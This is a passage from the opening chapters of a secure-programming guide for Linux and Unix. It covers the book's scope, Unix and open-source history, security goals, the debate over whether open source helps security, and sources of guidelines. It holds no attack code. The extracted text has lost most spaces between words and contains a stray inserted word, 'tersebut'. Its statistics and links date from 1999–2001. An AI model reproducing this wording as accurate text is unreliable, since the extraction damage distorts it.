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Chapter 1. Intr oduction

A wisemanattacksthecity of the
mightyandpullsdownthe
strongholdin which they trust.

Proverbs21:22(NIV)

Thisbookdescribesasetof designandimplementationguidelinesfor writing secure
programson Linux andUnix systems.For purposesof this book,a “secureprogram”is
aprogramthatsitson asecurityboundary, takinginput from asourcethatdoesnot
have thesameaccessrightsastheprogram.Suchprogramsincludeapplication
programsusedasviewersof remotedata,webapplications(includingCGI scripts),
network servers,andsetuid/setgidprograms.Thisbookdoesnot addressmodifying the
operatingsystemkernelitself, althoughmany of theprinciplesdiscussedheredoapply.
Theseguidelinesweredevelopedasasurvey of “lessonslearned”from varioussources
on how to createsuchprograms(alongwith additionalobservationsby theauthor),
reorganizedinto asetof largerprinciples.Thisbookincludesspecificguidancefor a
numberof languages,includingC, C++,Java,Perl,Python,TCL, andAda95.

Thisbookdoesnotcoverassurancemeasures,softwareengineeringprocesses,and
quality assuranceapproaches,whichareimportantbut widely discussedelsewhere.
Suchmeasuresincludetesting,peerreview, configurationmanagement,andformal
methods.Documentsspecificallyidentifyingsetsof developmentassurancemeasures
for securityissuesincludetheCommonCriteria[CC 1999]andtheSystemSecurity
EngineeringCapabilityMaturity Model [SSE-CMM1999].Moregeneralsetsof
softwareengineeringmethodsor processesaredefinedin documentssuchasthe
SoftwareEngineeringInstitute’sCapabilityMaturity Model for Software(SE-CMM),
ISO 9000(alongwith ISO 9001andISO9001-3),andISO12207.

Thisbookdoesnotdiscusshow to configureasystem(or network) to besecurein a
givenenvironment.This is clearlynecessaryfor secureuseof agivenprogram,but a
greatmany otherdocumentsdiscusssecureconfigurations.An excellentgeneralbook
on configuringUnix-likesystemsto besecureis Garfinkel [1996].Otherbooksfor
securingUnix-likesystemsincludeAnonymous[1998].You canalsofind information
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Chapter1. Introduction

on configuringUnix-likesystemsat websitessuchas
http://www.unixtools.com/security.html. InformationonconfiguringaLinux systemto
besecureis availablein a widevarietyof documentsincludingFenzi[1999],Seifried
[1999],Wreski[1998],Swan[2001],andAnonymous[1999].For Linux systems(and
eventuallyotherUnix-likesystems),youmaywantto examinetheBastilleHardening
System,which attemptsto “harden”or “tighten” theLinux operatingsystem.Youcan
learnmoreaboutBastilleathttp://www.bastille-linux.org; it is availablefor freeunder
theGeneralPublicLicense(GPL).

Thisbookassumesthatthereaderunderstandscomputersecurityissuesin general,the
generalsecuritymodelof Unix-likesystems,andtheC programminglanguage.This
bookdoesincludesomeinformationabouttheLinux andUnix programmingmodelfor
security.

Thisbookcoversall Unix-likesystems,includingLinux andthevariousstrainsof
Unix, andit particularlystressesLinux andprovidesdetailsaboutLinux specifically.
Thereareseveralreasonsfor this,but asimplereasonis popularity. Accordingto a
1999survey by IDC, significantlymoreservers(countingbothInternetandintranet
servers)wereinstalledin 1999with Linux thanwith all Unix operatingsystemtypes
combined(25%for Linux versus15%for all Unix systemtypescombined;notethat
WindowsNT camein with 38%comparedto the40%of all Unix-likeservers)
[Shankland2000].A survey by Zoebeleinin April 1999foundthat,of thetotal number
of serversdeployedon theInternetin 1999(runningat leastftp, news,or http
(WWW)), themajority wererunningLinux (28.5%),with otherstrailing (24.4%for all
Windows95/98/NTcombined,17.7%for Solarisor SunOS,15%for theBSD family,
and5.3%for IRIX). Advocateswill noticethatthemajority of serverson theInternet
(around66%)wererunningUnix-likesystems,while only around24%ranaMicrosoft
Windowsvariant.Finally, theoriginal versionof this bookonly discussedLinux, so
althoughits scopehasexpanded,theLinux informationis still noticeablydominant.If
you know relevantinformationnotalreadyincludedhere,pleaselet meknow.

You canfind themastercopy of thisbookat
http://www.dwheeler.com/secure-programs.Thisbookis alsopartof theLinux
DocumentationProject(LDP) at http://www.linuxdoc.org It’salsomirroredin several
otherplaces.Pleasenotethatthesemirrors,includingtheLDP copy and/orthecopy in
your distribution,maybeolderthanthemastercopy. I’d like to hearcommentson this
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Chapter1. Introduction

book,but pleasedo notsendcommentsuntil you’vecheckedto makesurethatyour
commentis valid for thelatestversion.

Thisbookis copyright (C) 1999-2001David A. Wheelerandis coveredby theGNU
FreeDocumentationLicense(GFDL); seeAppendixC andAppendixD for more
information.

Chapter2 discussesthebackgroundof Unix, Linux, andsecurity. Chapter3 describes
thegeneralUnix andLinux securitymodel,giving anoverview of thesecurity
attributesandoperationsof processes,filesystemobjects,andsoon.This is followed
by themeatof this book,asetof designandimplementationguidelinesfor developing
applicationsonLinux andUnix systems.Thebookendswith conclusionsin Chapter
11, followedby a lengthybibliographyandappendices.

Thedesignandimplementationguidelinesaredividedinto categorieswhich I believe
emphasizetheprogrammer’sviewpoint.Programsacceptinputs,processdata,call out
to otherresources,andproduceoutput,asshown in Figure1-1; notionallyall security
guidelinesfit into oneof thesecategories.I’vesubdivided“processdata”into
structuringprograminternalsandapproach,avoiding buffer overflows(which in some
casescanalsobeconsideredaninput issue),language-specificinformation,andspecial
topics.Thechaptersareorderedto make thematerialeasierto follow. Thus,thebook
chaptersgiving guidelinesdiscussvalidatingall input (Chapter4), avoidingbuffer
overflows(Chapter5), structuringprograminternalsandapproach(Chapter6),
carefullycallingout to otherresources(Chapter7), judiciouslysendinginformation
back(Chapter8), language-specificinformation(Chapter9), andfinally informationon
specialtopicssuchashow to acquirerandomnumbers(Chapter10).
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Figure 1-1.Abstract View of a Program
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Chapter 2. Backgr ound

I issuedan orderanda search
wasmade, andit wasfoundthat
this city hasa longhistoryof
revolt againstkingsandhasbeen
a placeof rebellionandsedition.

Ezra 4:19 (NIV)

2.1. Histor y of Unix, Lin ux, and Open
Sour ce / Free Software

2.1.1. Unix
In 1969-1970,KennethThompson,DennisRitchie,andothersatAT&T Bell Labs
begandevelopingasmalloperatingsystemona little-usedPDP-7.Theoperating
systemwassoonchristenedUnix, apunonanearlieroperatingsystemprojectcalled
MULTICS.In 1972-1973thesystemwasrewritten in theprogramminglanguageC, an
unusualstepthatwasvisionary:dueto this decision,Unix wasthefirst widely-used
operatingsystemthatcouldswitchfrom andoutlive its original hardware.Other
innovationswereaddedto Unix aswell, in partdueto synergiesbetweenBell Labsand
theacademiccommunity. In 1979,the“seventhedition” (V7) versionof Unix was
released,thegrandfatherof all extantUnix systems.

After this point, thehistoryof Unix becomessomewhatconvoluted.Theacademic
community, led by Berkeley, developedavariantcalledtheBerkeley Software
Distribution (BSD),while AT&T continueddevelopingUnix underthenames“System
III” andlater“SystemV”. In thelate1980’s throughearly1990’s the“wars” between
thesetwo majorstrainsraged.After many yearseachvariantadoptedmany of thekey
featuresof theother. Commercially, SystemV won the“standardswars” (gettingmost
of its interfacesinto theformalstandards),andmosthardwarevendorsswitchedto
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Chapter2. Background

AT&T’ sSystemV. However, SystemV endedup incorporatingmany BSDinnovations,
sotheresultingsystemwasmoreamergerof thetwo branches.TheBSD branchdid
notdie,but insteadbecamewidely usedfor research,for PChardware,andfor
single-purposeservers(e.g.,many websitesuseaBSDderivative).

Theresultwasmany differentversionsof Unix, all basedon theoriginal seventh
edition.Most versionsof Unix wereproprietaryandmaintainedby their respective
hardwarevendor, for example,SunSolarisis avariantof SystemV. Threeversionsof
theBSD branchof Unix endedup asopensource:FreeBSD(concentatingon
ease-of-installationfor PC-typehardware),NetBSD(concentratingonmany different
CPUarchitectures),andavariantof NetBSD,OpenBSD(concentratingon security).
More generalinformationcanbefoundat
http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm.Muchmoreinformation
abouttheBSD historycanbefoundin [McKusick1999]and
ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree.

Thoseinterestedin readinganadvocacy piecethatpresentsargumentsfor using
Unix-likesystemsshouldseehttp://www.unix-vs-nt.org.

2.1.2. Free Software Foundation
In 1984RichardStallman’sFreeSoftwareFoundation(FSF)begantheGNU project,a
projectto createa freeversionof theUnix operatingsystem.By free,Stallmanmeant
softwarethatcouldbefreelyused,read,modified,andredistributed.TheFSF
successfullybuilt avastnumberof usefulcomponents,includingaC compiler(gcc),an
impressive text editor(emacs),andahostof fundamentaltools.However, in the1990’s
theFSFwashaving troubledevelopingtheoperatingsystemkernel[FSF1998];
without akerneltherestof their softwarewouldnot work.

2.1.3. Lin ux
In 1991LinusTorvaldsbegandevelopinganoperatingsystemkernel,whichhenamed
“Linux” [Torvalds1999].Thiskernelcouldbecombinedwith theFSFmaterialand
othercomponents(in particularsomeof theBSD componentsandMIT’ sX-windows
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Chapter2. Background

software)to producea freely-modifiableandveryusefuloperatingsystem.Thisbook
will termthekernelitself the“Linux kernel”andanentirecombinationas“Linux”.
Notethatmany usetheterm“GNU/Linux” insteadfor this combination.

In theLinux community, differentorganizationshavecombinedtheavailable
componentsdifferently. Eachcombinationis calleda “distribution”, andthe
organizationsthatdevelopdistributionsarecalled“distributors”.Commondistributions
includeRedHat,Mandrake,SuSE,Caldera,Corel,andDebian.Therearedifferences
betweenthevariousdistributions,but all distributionsarebasedon thesame
foundation:theLinux kernelandtheGNU glibc libraries.Sincebotharecoveredby
“copyleft” stylelicenses,changesto thesefoundationsgenerallymustbemade
availableto all, aunifying forcebetweentheLinux distributionsat their foundationthat
doesnotexist betweentheBSD andAT&T-derivedUnix systems.Thisbookis not
specificto any Linux distribution;whenit discussesLinux it presumesLinux kernel
version2.2or greaterandtheC library glibc 2.1or greater, valid assumptionsfor
essentiallyall currentmajorLinux distributions.

2.1.4. Open Sour ce / Free Software
Increasedinterestin softwarethatis freelysharedhasmadeit increasinglynecessaryto
defineandexplain it. A widely usedtermis “opensourcesoftware”,which is further
definedin [OSI 1999].Eric Raymond[1997,1998]wroteseveralseminalarticles
examiningits variousdevelopmentprocesses.Anotherwidely-usedtermis “free
software”,wherethe“free” is shortfor “freedom”: theusualexplanationis “free
speech,not freebeer.” Neitherphraseis perfect.Theterm“free software” is often
confusedwith programswhoseexecutablesaregivenawayatno charge,but whose
sourcecodecannotbeviewed,modified,or redistributed.Conversely, theterm“open
source”is sometime(ab)usedto meansoftwarewhosesourcecodeis visible,but for
which therearelimitationson use,modification,or redistribution.Thisbookusesthe
term“opensource”for its usualmeaning,thatis, softwarewhichhasits sourcecode
freelyavailablefor use,viewing, modification,andredistribution;amoredetailed
definitionis containedin theOpenSourceDefinition
(http://www.opensource.org/osd.html).In somecases,adifferencein motive is
suggested;thosepreferringtheterm“free software”wish to stronglyemphasizethe
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Chapter2. Background

needfor freedom,while thoseusingthetermmayhaveothermotives(e.g.,higher
reliability) or simplywish to appearlessstrident.For informationon this definitionof
freesoftware,andthemotivationsbehindit, canbefoundat http://www.fsf.org.

Thoseinterestedin readingadvocacy piecesfor opensourcesoftwareandfreesoftware
shouldseehttp://www.opensource.org andhttp://www.fsf.org. Thereareother
documentswhichexaminesuchsoftware,for example,Miller [1995] foundthatthe
opensourcesoftwarewerenoticeablymorereliablethanproprietarysoftware(using
their measurementtechnique,whichmeasuredresistanceto crashingdueto random
input).

2.1.5. Comparing Lin ux and Unix
Thisbookusestheterm“Unix-lik e” to describesystemsintentionallylikeUnix. In
particular, theterm“Unix-lik e” includesall majorUnix variantsandLinux
distributions.Notethatmany peoplesimplyusetheterm“Unix” to describethese
systemsinstead.

Linux is notderivedfrom Unix sourcecode,but its interfacesareintentionallylike
Unix. Therefore,Unix lessonslearnedgenerallyapplyto both,includinginformation
on security. Mostof theinformationin thisbookappliesto any Unix-likesystem.
Linux-specificinformationhasbeenintentionallyaddedto enablethoseusingLinux to
takeadvantageof Linux’scapabilities.

Unix-likesystemsshareanumberof securitymechanisms,thoughtherearesubtle
differencesandnotall systemshaveall mechanismsavailable.All includeuserand
groupids (uidsandgids)for eachprocessandafilesystemwith read,write, and
executepermissions(for user, group,andother).SeeThompson[1974] andBach
[1986] for generalinformationon Unix systems,includingtheirbasicsecurity
mechanisms.Chapter3 summarizeskey securityfeaturesof Unix andLinux.
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Chapter2. Background

2.2. Security Principles
Therearemany generalsecurityprincipleswhichyou shouldbefamiliar with; consult
ageneraltext on computersecuritysuchas[Pfleeger1997].A few pointsare
summarizedhere.

Oftencomputersecuritygoalsaredescribedin termsof threeoverallgoals:

• Confidentiality(alsoknown assecrecy), meaningthatthecomputingsystem’sassets
areaccessibleonly by authorizedparties.

• Integrity, meaningthattheassetscanonly bemodifiedby authorizedpartiesin
authorizedways.

• Availability, meaningthattheassetsareaccessibleto theauthorizedpartiesin a
timely manner(asdeterminedby thesystemsrequirements).Thefailureto meetthis
goalis calledadenialof service.

Somepeopledefineadditionalsecuritygoals,while otherslumpthoseadditionalgoals
asspecialcasesof thesethreegoals.For example,someseparatelyidentify
non-repudiationasa goal;this is theability to “prove” thatasendersentor receiver
receivedamessage,evenif thesenderor receiverwishesto deny it later. Privacy is
sometimesaddressedseparatelyfrom confidentiality;somedefinethis asprotectingthe
confidentialityof auser(e.g.,their identity) insteadof thedata.Most goalsrequire
identificationandauthentication,which is sometimeslistedasaseparategoal.Often
auditing(alsocalledaccountability)is identifiedasadesirablesecuritygoal.
Sometimes“accesscontrol” and“authenticity”arelistedseparatelyaswell. In any
case,it is importantto identify yourprogram’soverall securitygoals,no matterhow
you groupthosegoalstogether, sothatyou’ll know whenyou’vemetthem.

Sometimesthesegoalsarea responseto a known setof threats,andsometimessomeof
thesegoalsarerequiredby law. For example,for U.S.banksandotherfinancial
institutions,there’s anew privacy law calledthe“Gramm-Leach-Bliley” (GLB) Act.
This law mandatesdisclosureof personalinformationsharedandmeansof securing
thatdata,requiresdisclosureof personalinformationthatwill besharedwith third
parties,anddirectsinstitutionsto givecustomersachanceto optoutof datasharing.
[Jones2000]
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Chapter2. Background

Thereis sometimesconflict betweensecurityandsomeothergeneralsystem/software
engineeringprinciples.Securitycansometimesinterferewith “easeof use”,for
example,installingasecureconfigurationmaytakemoreeffort thana “tri vial”
installationthatworksbut is insecure.OFten,this apparantconflict canberesolved,for
example,by re-thinkingaproblemit’ softenpossibleto makea securesystemalsoeasy
to use.There’s alsosometimesa conflictbetweensecurityandabstraction(information
hiding); for example,somehigh-level library routinesmaybeimplementedsecurelyor
not,but their specificationswon’t tell you. In theend,if your applicationmustbe
secure,youmustdo thingsyourselfif youcan’t besureotherwise- yes,thelibrary
shouldbefixed,but it’ syour userswhowill behurtby yourpoorchoiceof library
routines.

2.3. Is Open Sour ce Good for Security?
There’s beena lot of debateby securitypractionersabouttheimpactof opensource
approacheson security. Oneof thekey issuesis thatopensourceexposesthesource
codeto examinationby everyone,boththeattackersanddefenders,andreasonable
peopledisagreeabouttheultimateimpactof this situation.

Herearea few quotesfrom peoplewho’veexaminedthetopic.BruceSchneierargues
thatsmartengineersshould“demandopensourcecodefor anything relatedto security”
[Schneier1999],andhealsodiscussessomeof thepreconditionswhichmustbemetto
makeopensourcesoftwaresecure.VincentRijmen,adeveloperof thewinning
AdvancedEncryptionStandard(AES) encryptionalgorithm,believesthattheopen
sourcenatureof Linux providesa superiorvehicleto makingsecurityvulnerabilities
easierto spotandfix, “Not only becausemorepeoplecanlook at it, but, more
importantly, becausethemodelforcespeopleto write moreclearcode,andto adhereto
standards.This in turn facilitatessecurityreview” [Rijmen 2000].EliasLevy (Aleph1)
discussessomeof theproblemsin makingopensourcesoftwaresecurein hisarticle"Is
OpenSourceReallyMoreSecurethanClosed?"
(http://www.securityfocus.com/commentary/19).His summaryis:

Sodoesall this meanOpenSourceSoftwareis nobetterthanclosedsourcesoftwarewhen
it comesto securityvulnerabilities?No. OpenSourceSoftwarecertainlydoeshave the
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potentialto bemoresecurethanits closedsourcecounterpart.But makenomistake,simply
beingopensourceis noguaranteeof security.

JohnViega’sarticle"TheMyth of OpenSourceSecurity"
(http://dev-opensourceit.earthweb.com/news/000526_security.html) alsodiscusses
issues,andsummarizesthingsthis way:

Opensourcesoftwareprojectscanbemoresecurethanclosedsourceprojects.However,
thevery thingsthatcanmakeopensourceprogramssecure– theavailability of thesource
code,andthefactthatlargenumbersof usersareavailableto look for andfix securityholes
– canalsolull peopleinto a falsesenseof security.

MichaelH. Warfield’s "Musingson opensourcesecurity"
(http://www.linuxworld.com/linuxworld/lw-1998-11/lw-11-ramparts.html) is much
morepositiveabouttheimpactof opensourcesoftwareonsecurity. FredSchneider
doesn’t believethatopensourcehelpssecurity, saying“thereis no reasonto believe
thatthemany eyesinspecting(open)sourcecodewouldbesuccessfulin identifying
bugsthatallow systemsecurityto becompromised”andclaimingthat“bugsin the
codearenot thedominantmeansof attack”[Schneider2000].Healsoclaimsthatopen
sourcerulesoutcontrolof theconstructionprocess,thoughin practicethereis such
control- all majoropensourceprogramshaveoneor a few official versionswith
“owners”with reputationsatstake.PeterG. Neumanndiscusses“open-box”software
(in whichsourcecodeis available,possiblyonly undercertainconditions),saying
“Will open-boxsoftwarereally improvesystemsecurity?My answeris not by itself,
althoughthepotentialis considerable”[Neumann2000].

Sometimesit’ snotedthata vulnerabilitythatexistsbut is unknown can’t beexploited,
sothesystem“practically secure.” In theorythis is true,but theproblemis thatonce
someonefindsthevulnerability, thefindermayjustexploit thevulnerabilityinsteadof
helpingto fix it. Having unknown vulnerabilitiesdoesn’t reallymake thevulnerabilities
go away; it simplymeansthatthevulnerabilitiesarea timebomb,with noway to know
whenthey’ ll beexploited.Fundamentally, theproblemof someoneexploiting a
vulnerabilitythey discover is aproblemfor bothopenandclosedsourcesystems.It’ s
beenarguedthatasystemwithoutsourcecodeis moresecurein this sensebecause,
sincethere’s lessinformationavailablefor anattacker, it wouldbeharderfor an
attacker to find thevulnerabilities.A counter-argumentis thatattackersgenerallydon’t
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needsourcecode,andif they wantto usesourcecodethey canusedisassemblersto
re-createthesourcecodeof theproduct.In contrast,defenderswon’t usuallylook for
problemsif they don’t have thesourcecode,sonothaving thesourcecodeputs
defendersat adisadvantagecomparedto attackers.

It’ s sometimesarguedthatopensourceprograms,becausethere’sno enforcedcontrol
by asinglecompany, permitpeopleto insertTrojanHorsesandothermaliciouscode.
This is true,but it’ s truefor closedsourceprograms- adisgruntedor bribedemployee
caninsertmaliciouscode,andin many organizationsit’ sevenlesslikely to befound
(sinceno oneoutsidetheorganizationcanreview thecode,andfew companiesreview
their codeinternally).And thenotionthataclosed-sourcecompany canbesuedlater
haslittle evidence;nearlyall licensesdisclaimall warranties,andcourtshavegenerally
notheldsoftwaredevelopmentcompaniesliable.

Borland’s Interbaseserver is aninterestingcasein point.Sometimebetween1992and
1994,Borlandinsertedanintentional“backdoor” into theirdatabaseserver,
“Interbase”.Thisbackdoorallowedany local or remoteuserto manipulateany
databaseobjectandinstall arbitraryprograms,andin somecasescouldleadto
controllingthemachineas“root”. Thisvulnerabilitystayedin theproductfor at least6
years- no oneelsecouldreview theproduct,andBorlandhadno incentive to remove
thevulnerability. ThenBorlandreleasedits sourcecodeon July2000.The"Firebird"
projectbeganworkingwith thesourcecode,anduncoveredthis serioussecurity
problemwith InterBasein December2000.By January2001theCERT announcedthe
existenceof this backdoorasCERT advisoryCA-2001-01
(http://www.cert.org/advisories/CA-2001-01.html).What’sdiscouragingis thatthe
backdoorcanbeeasilyfoundsimplyby looking at anASCII dumpof theprogram(a
commoncracker trick). Oncethisproblemwasfoundby opensourcedevelopers
reviewing thecode,it waspatchedquickly. You couldarguethat,by keepingthe
passwordunknown, theprogramstayedsafe,andthatopeningthesourcemadethe
programlesssecure.I think this is nonsense,sinceASCII dumpsaretrivial to do and
well-known asa standardattacktechnique,andnotall attackershavesuddenurgesto
announcevulnerabilities- in fact,there’s noway to becertainthatthis vulnerabilityhas
notbeenexploitedmany times.It’ sclearthatafterthesourcewasopened,thesource
codewasreviewedover time,andthevulnerabilitiesfoundandfixed.Oneway to
characterizethis is to saythattheoriginal codewasvulnerable,its vulnerabilites
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becauseeasierto exploit whenit wasfirst madeopensource,andthenfinally these
vulnerabilitieswerefixed.

So,what’s thebottomline?I personallybelievethatwhena programis first madeopen
source,it oftenstartslesssecurefor any users(throughexposureof vulnerabilities),
andover time (saya few years)it hasthepotentialto bemuchmoresecurethana
closedprogram.Justmakingaprogramopensourcedoesn’t suddenlymakeaprogram
secure,andmakinganopensourceprogramsecureis notguaranteed:

• First,peoplehave to actuallyreview thecode.This is oneof thekey pointsof debate
- will peoplereally review codein anopensourceproject?All sortsof factorscan
reducetheamountof review: beinganicheor rarely-usedproduct(wherethereare
few potentialreviewers),having few developers,anduseof a rarely-usedcomputer
language.

Onefactorthatcanparticularlyreducereview likelihoodis not actuallybeingopen
source.Somevendorslike to posturetheir “disclosedsource”(alsocalled“source
available”)programsasbeingopensource,but sincetheprogramownerhas
extensiveexclusiverights,otherswill have far lessincentive to work “for free” for
theowneron thecode.Evenopensourcelicenseslike theMPL, whichhasunusually
asymmetricrights,hasthis problem.After all, peoplearelesslikely to voluntarily
participateif someoneelsewill haverightsto their resultsthatthey don’t have(as
BrucePerenssays,“who wantsto besomeoneelse’sunpaidemployee?”).In
particular, sincethemostincentivizedreviewerstendto bepeopletrying to modify
theprogram,this disincentiveto participatereducesthenumberof “eyeballs”.Elias
Levy madethis mistake in hisarticleaboutopensourcesecurity;hisexamplesof
softwarethathadbeenbrokeninto (e.g.,TIS’s Gauntlet)werenot,at thetime,open
source.

• Second,thepeopledevelopingandreviewing thecodemustknow how to write
secureprograms.Hopefully this existenceof this bookwill help.Clearly, it doesn’t
matterif thereare“many eyeballs”if noneof theeyeballsknow whatto look for.

• Third, oncefound,theseproblemsneedto befixedquickly andtheir fixes
distributed.Opensourcesystemstendto fix theproblemsquickly, but the
distribution is notalwayssmooth.For example,theOpenBSDdoesanexcellentjob
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of reviewing codefor securityflaws- but doesn’t alwaysreporttheproblemsbackto
theoriginaldeveloper. Thus,it’ squitepossiblefor thereto bea fixedversionin one
system,but for theflaw to remainin another.

Anotheradvantageof opensourceis that,if youfind aproblem,youcanfix it
immediately.

In short,theeffecton securityof opensourcesoftwareis still amajordebatein the
securitycommunity, thougha largenumberof prominentexpertsbelievethatit has
greatpotentialto bemoresecure.

2.4. Types of Secure Programs
Many differenttypesof programsmayneedto besecureprograms(asthetermis
definedin this book).Somecommontypesare:

• Applicationprogramsusedasviewersof remotedata.Programsusedasviewers
(suchasword processorsor file formatviewers)areoftenaskedto view datasent
remotelyby anuntrusteduser(this requestmaybeautomaticallyinvokedby aweb
browser).Clearly, theuntrusteduser’s inputshouldnotbeallowedto causethe
applicationto run arbitraryprograms.It’ susuallyunwiseto supportinitialization
macros(runwhenthedatais displayed);if you must,thenyoumustcreateasecure
sandbox(acomplex anderror-pronetask).Be carefulof issuessuchasbuffer
overflow, discussedin Chapter5, whichmight allow anuntrusteduserto forcethe
viewer to run anarbitraryprogram.

• Applicationprogramsusedby theadministrator(root).Suchprogramsshouldn’t
trustinformationthatcanbecontrolledby non-administrators.

• Local servers(alsocalleddaemons).

• Network-accessibleservers(sometimescallednetwork daemons).

• Web-basedapplications(includingCGI scripts).Theseareaspecialcaseof
network-accessibleservers,but they’resocommonthey deserve their own category.
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Suchprogramsareinvokedindirectlyvia awebserver, whichfiltersout someattacks
but neverthelessleavesmany attacksthatmustbewithstood.

• Applets(i.e.,programsdownloadedto theclient for automaticexecution).This is
somethingJava is especiallyfamousfor, thoughotherlanguages(suchasPython)
supportmobilecodeaswell. Thereareseveralsecurityviewpointshere;the
implementorof theappletinfrastructureon theclient sidehasto makesurethatthe
only operationsallowedare“safe” ones,andthewriter of anapplethasto dealwith
theproblemof hostilehosts(in otherwords,you can’t normallytrusttheclient).
Thereis someresearchattemptingto dealwith runningappletsonhostilehosts,but
frankly I’m scepticalof thevalueof theseapproachesandthis subjectis exotic
enoughthatI don’t cover it furtherhere.

• setuid/setgidprograms.Theseprogramsareinvokedby a localuserand,when
executed,areimmediatelygrantedtheprivilegesof theprogram’sownerand/or
owner’sgroup.In many waysthesearethehardestprogramsto secure,becauseso
many of their inputsareunderthecontrolof theuntrusteduserandsomeof those
inputsarenotobvious.

Thisbookmergestheissuesof thesedifferenttypesof programinto asingleset.The
disadvantageof this approachis thatsomeof theissuesidentifiedheredon’t applyto
all typesof programs.In particular, setuid/setgidprogramshavemany surprisinginputs
andseveralof theguidelineshereonly applyto them.However, thingsarenotso
clear-cut,becauseaparticularprogrammaycutacrosstheseboundaries(e.g.,aCGI
scriptmaybesetuidor setgid,or beconfiguredin away thathasthesameeffect),and
someprogramsaredividedinto severalexecutableseachof which canbeconsidereda
different“type” of program.Theadvantageof consideringall of theseprogramtypes
togetheris thatwecanconsiderall issueswithout trying to applyaninappropriate
category to aprogram.As will beseen,many of theprinciplesapplyto all programs
thatneedto besecured.

Thereis aslightbiasin this booktowardsprogramswritten in C, with somenoteson
otherlanguagessuchasC++,Perl,Python,Ada95,andJava.This is becauseC is the
mostcommonlanguagefor implementingsecureprogramson Unix-likesystems(other
thanCGI scripts,which tendto usePerl),andmostotherlanguages’implementations
call theC library. This is not to imply thatC is somehow the“best” languagefor this
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purpose,andmostof theprinciplesdescribedhereapplyregardlessof theprogramming
languageused.

2.5. Paranoia is a Vir tue
Theprimarydifficulty in writing secureprogramsis thatwriting themrequiresa
differentmindset,in short,a paranoidmindset.Thereasonis thattheimpactof errors
(alsocalleddefectsor bugs)canbeprofoundlydifferent.

Normalnon-secureprogramshavemany errors.While theseerrorsareundesirable,
theseerrorsusuallyinvolverareor unlikely situations,andif ausershouldstumble
upononethey will try to avoid usingthetool thatway in thefuture.

In secureprograms,thesituationis reversed.Certainuserswill intentionallysearchout
andcauserareor unlikely situations,in thehopethatsuchattackswill give them
unwarrantedprivileges.As a result,whenwriting secureprograms,paranoiais avirtue.

2.6. Why Did I Write This Document?
OnequestionI’vebeenaskedis “why did youwrite this book”?Here’smy answer:
Over thelastseveralyearsI’venoticedthatmany developersfor Linux andUnix seem
to keepfalling into thesamesecuritypitfalls,againandagain.Auditorswereslowly
catchingproblems,but it wouldhavebeenbetterif theproblemsweren’t put into the
codein thefirst place.I believe thatpartof theproblemwasthattherewasn’t asingle,
obviousplacewheredeveloperscouldgo andgetinformationonhow to avoid known
pitfalls.Theinformationwaspublicly available,but it wasoftenhardto find,
out-of-date,incomplete,or hadotherproblems.Most suchinformationdidn’t
particularlydiscussLinux at all, eventhoughit wasbecomingwidely used!Thatleads
up to theanswer:I developedthis bookin thehopethatfuturesoftwaredevelopers
won’t repeatpastmistakes,resultingin anevenmoresecuresystems.You canseea
largerdiscussionof this at
http://www.linuxsecurity.com/feature_stories/feature_story-6.html.

A relatedquestionthatcouldbeaskedis “why did youwrite yourown bookinsteadof
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just referringto otherdocuments”?Thereareseveralanswers:

• Muchof this informationwasscatteredabout;placingthecritical informationin one
organizeddocumentmakesit easierto use.

• Someof this informationis notwritten for theprogrammer, but is written for an
administratoror user.

• Muchof theavailableinformationemphasizesportableconstructs(constructsthat
work onall Unix-likesystems),andfailedto discussLinux at all. It’ softenbestto
avoid Linux-uniqueabilitiesfor portability’ssake,but sometimestheLinux-unique
abilitiescanreally aid security. Evenif non-Linuxportability is desired,youmay
wantto supporttheLinux-uniqueabilitieswhenrunningonLinux. And, by
emphasizingLinux, I canincludereferencesto informationthatis helpful to
someonetargetingLinux thatis notnecessarilytruefor others.

2.7. Sour ces of Design and
Implementation Guidelines
Severaldocumentshelpdescribehow to write secureprograms(or, alternatively, how
to find securityproblemsin existingprograms),andwerethebasisfor theguidelines
highlightedin therestof this book.

For general-purposeserversandsetuid/setgidprograms,therearea numberof valuable
documents(thoughsomearedifficult to find withouthaving a referenceto them).

Matt Bishop[1996,1997]hasdevelopedseveralextremelyvaluablepapersand
presentationson thetopic,andin facthehasawebpagededicatedto thetopicat
http://olympus.cs.ucdavis.edu/~bishop/secprog.html. AUSCERT hasreleaseda
programmingchecklist[AUSCERT 1996]
(ftp://ftp.auscert.org.au/pub/auscert/papers/secure_programming_checklist),basedin
parton chapter23of Garfinkel andSpafford’s bookdiscussinghow to write secure
SUID andnetwork programs[Garfinkel 1996](http://www.oreilly.com/catalog/puis).
Galvin [1998a](http://www.sunworld.com/swol-04-1998/swol-04-security.html)
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describedasimpleprocessandchecklistfor developingsecureprograms;helater
updatedthechecklistin Galvin [1998b]
(http://www.sunworld.com/sunworldonline/swol-08-1998/swol-08-security.html).
Sitaker [1999] (http://www.pobox.com/~kragen/security-holes.html) presentsa list of
issuesfor the“Linux securityaudit” teamto searchfor. Shostack[1999]
(http://www.homeport.org/~adam/review.html) definesanotherchecklistfor reviewing
security-sensitivecode.TheNCSA [NCSA]
(http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming)providesa set
of tersebut usefulsecureprogrammingguidelines.Otherusefulinformationsources
includetheSecureUnix ProgrammingFAQ [Al-Herbish1999]
(http://www.whitefang.com/sup/),theSecurity-Audit’sFrequentlyAskedQuestions
[Graham1999](http://lsap.org/faq.txt),andRanum[1998]
(http://www.clark.net/pub/mjr/pubs/pdf/).Somerecommendationsmustbetakenwith
caution,for example,theBSD setuid(7)manpage[Unknown]
(http://www.homeport.org/~adam/setuid.7.html) recommendstheuseof access(3)
without notingthedangerousraceconditionsthatusuallyaccompany it. Wood[1985]
hassomeusefulbut datedadvicein its “Securityfor Programmers”chapter. Bellovin
[1994] (http://www.research.att.com/~smb/talks)includesusefulguidelinesandsome
specificexamples,suchashow to restructureanftpd implementationto besimplerand
moresecure.FreeBSD[1999] (http://www.freebsd.org/security/security.html)
[Quintero1999]
(http://developer.gnome.org/doc/guides/programming-guidelines/book1.html) is
primarily concernedwith GNOMEprogrammingguidelines,but it includesasection
on securityconsiderations.[Venema1996](http://www.fish.com/security/murphy.html)
providesadetaileddiscussion(with examples)of somecommonerrorswhen
programmingsecureprorams(widely-known or predictablepasswords,burning
yourselfwith maliciousdata,secretsin user-accessibledata,anddependingonother
programs).[Sibert1996](http://www.fish.com/security/maldata.html)describesthreats
arisingfrom maliciousdata.

Therearemany documentsgiving securityguidelinesfor programsusingtheCommon
